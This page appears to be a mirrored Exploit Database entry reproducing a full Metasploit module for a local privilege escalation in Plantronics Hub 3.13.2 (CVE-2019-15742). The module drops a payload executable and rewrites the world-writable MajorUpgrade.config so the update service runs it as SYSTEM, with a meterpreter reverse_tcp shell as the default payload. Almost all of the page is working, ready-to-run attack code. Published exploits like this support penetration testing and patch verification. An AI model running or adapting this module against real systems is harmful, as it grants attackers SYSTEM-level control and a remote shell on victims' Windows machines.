Plantronics Hub 3.13.2 – SpokesUpdateService Privilege Escalation (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2020-01-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47944/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Services
  include Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation',
  'Description'=> %q{
  The Plantronics Hub client application for Windows makes use of an
  automatic update service `SpokesUpdateService.exe` which automatically
  executes a file specified in the `MajorUpgrade.config` configuration
  file as SYSTEM. The configuration file is writable by all users by default.
  
  This module has been tested successfully on Plantronics Hub version 3.13.2
  on Windows 7 SP1 (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Markus Krell', # Discovery and PoC
  'bcoles'# Metasploit
  ],
  'References' =>
  [
  ['CVE', '2019-15742'],
  ['EDB', '47845'],
  ['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']
  ],
  'Platform' => ['win'],
  'SessionTypes' => ['meterpreter'],
  'Targets'=> [['Automatic', {}]],
  'DisclosureDate' => '2019-08-30',
  'DefaultOptions' =>
  {
  'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
  },
  'Notes'=>
  {
  'Reliability' => [ REPEATABLE_SESSION ],
  'Stability' => [ CRASH_SAFE ]
  },
  'DefaultTarget'=> 0))
  register_advanced_options [
  OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
  ]
  end
  
  def base_dir
  datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
  end
  
  def service_exists?(service)
  srv_info = service_info(service)
  
  if srv_info.nil?
  vprint_warning 'Unable to enumerate Windows services'
  return false
  end
  
  if srv_info && srv_info[:display].empty?
  return false
  end
  
  true
  end
  
  def check
  service = 'PlantronicsUpdateService'
  
  unless service_exists? service
  return CheckCode::Safe("Service '#{service}' does not exist")
  end
  
  path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G"
  
  unless exists? path
  return CheckCode::Safe("Directory '#{path}' does not exist")
  end
  
  CheckCode::Detected
  end
  
  def exploit
  unless check == CheckCode::Detected
  fail_with Failure::NotVulnerable, 'Target is not vulnerable'
  end
  
  if is_system?
  fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
  end
  
  payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
  payload_exe = generate_payload_exe
  vprint_status "Writing payload to #{payload_path} ..."
  write_file payload_path, payload_exe
  register_file_for_cleanup payload_path
  
  config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G\\MajorUpgrade.config"
  vprint_status "Writing configuration file to #{config_path} ..."
  write_file config_path, "#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}"
  register_file_for_cleanup config_path
  end
  end